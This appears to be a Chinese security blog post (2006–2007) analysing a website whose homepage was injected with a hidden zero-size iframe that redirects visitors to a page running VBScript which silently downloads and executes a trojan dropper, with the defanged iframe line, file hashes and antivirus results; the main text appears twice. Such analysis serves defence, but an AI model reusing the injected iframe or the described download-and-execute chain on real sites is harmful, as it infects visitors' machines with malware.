[07-01-06]打开某IT技术问答网站时自动下载文件sinze.exe/Trojan-Dropper.Win32.Agent.awq
2006-12-27 23:34
513 查看
endurer 原创
2007-01-06 第2版 补充 Kaspersky 的反应
2006-12-27 第1版
该网站首页被加入代码:
/-------
...<iframe src=hxxp://www..xj123***.net/ad***/*1***/*1 width=0 height=0 frameborder=0></iframe>
-------/
打开 hxxp://www..xj123***.net/ad***/*1***/*1 会自动转到
hxxp://i***.the***c**.***.cn/*sinze***/sinze.htm
打开这个 sinze.htm 网页,会看到信息:
/-------
就不让你看!气死你 by knel!
-------/
但这只是表面,该网页下面的 VBScript脚本代码会背地里会利用 Microsoft.XMLHTTP 和 scrīpting.FileSystemObject 下载文件 sinze.exe,保存为 %temp%g0ld.com,并利用Shell.Application 对象 的 ShellExecute 方法 来运行。
sinze.exe 采用 SVKP 1.3x -> Pavol Cerven 加壳。
/-------
文件说明符 : d:/test/sinze.exe
属性 : A---
获取文件版本信息大小失败!
创建时间 : 2006-12-11 4:25:57
修改时间 : 2006-12-11 4:25:58
访问时间 : 2006-12-27 0:0:0
大小 : 424621 字节 414.685 KB
MD5 : 1937f1ba8627794e232db40a11b8ec0f
-------/
瑞星19.03.12对此文件无反应。
由于昨晚南海海域发生地震,多条海底通信光缆中断,无法使用国外网站的多引擎扫描测试……
2007-01-06 第2版 补充 Kaspersky 的反应
2006-12-27 第1版
该网站首页被加入代码:
/-------
...<iframe src=hxxp://www..xj123***.net/ad***/*1***/*1 width=0 height=0 frameborder=0></iframe>
-------/
打开 hxxp://www..xj123***.net/ad***/*1***/*1 会自动转到
hxxp://i***.the***c**.***.cn/*sinze***/sinze.htm
打开这个 sinze.htm 网页,会看到信息:
/-------
就不让你看!气死你 by knel!
-------/
但这只是表面,该网页下面的 VBScript脚本代码会背地里会利用 Microsoft.XMLHTTP 和 scrīpting.FileSystemObject 下载文件 sinze.exe,保存为 %temp%g0ld.com,并利用Shell.Application 对象 的 ShellExecute 方法 来运行。
sinze.exe 采用 SVKP 1.3x -> Pavol Cerven 加壳。
/-------
文件说明符 : d:/test/sinze.exe
属性 : A---
获取文件版本信息大小失败!
创建时间 : 2006-12-11 4:25:57
修改时间 : 2006-12-11 4:25:58
访问时间 : 2006-12-27 0:0:0
大小 : 424621 字节 414.685 KB
MD5 : 1937f1ba8627794e232db40a11b8ec0f
-------/
瑞星19.03.12对此文件无反应。
由于昨晚南海海域发生地震,多条海底通信光缆中断,无法使用国外网站的多引擎扫描测试……
Scanned file: sinze.exe - Infected |
sinze.exe - infected by Trojan-Dropper.Win32.Agent.awqStatistics:
|
相关文章推荐
- 网站被黑,打开网页自动下载文件
- 一款免费下载技术书籍的网站it-books
- android开发中文件下载并自动安装或选择打开
- IE下载完RAR文件后就自动打开的解决
- 某政府网站被加入自动下载病毒文件的代码(第3版)
- java自动下载https网站的证书并保存成文件(包括连接代理,代理认证)
- 某政府网站被加入的自动下载病毒文件的代码再创新花样(第1版)
- 解决window2012 IIS8 配置的网站无法下载exe文件的问题
- android文件下载自动安装或打开
- 使用Servlet实现文件下载的时候,避免浏览器自动打开文件
- 使用Servlet实现文件下载的时候,避免浏览器自动打开文件
- [大型网站优化技术] -- 静态资源文件自动压缩并替换成压缩版本
- “foxit updater.exe does not exist”-解决福昕PDF打开文件自动更新弹出框
- 自动从网站上面下载文件 .NET把网站图片保存到本地
- safari下载文件自动追加exe后缀解决方法
- vc6.0不能打开文件-vc6.0 windows7下不能打开文件不能添加工程文件-FileTool.exe下载地址
- php文件打开老是自动下载
- 网站上有一个mp3文件,但是用<a href="my.mp3">下载</a>时,会在播放器里打开,请问我要怎样才能实现点击后下载呢?
- js 文件自动下载,而不是自动打开 Content-disposition
- nginx安装 打开php文件自动下载的问题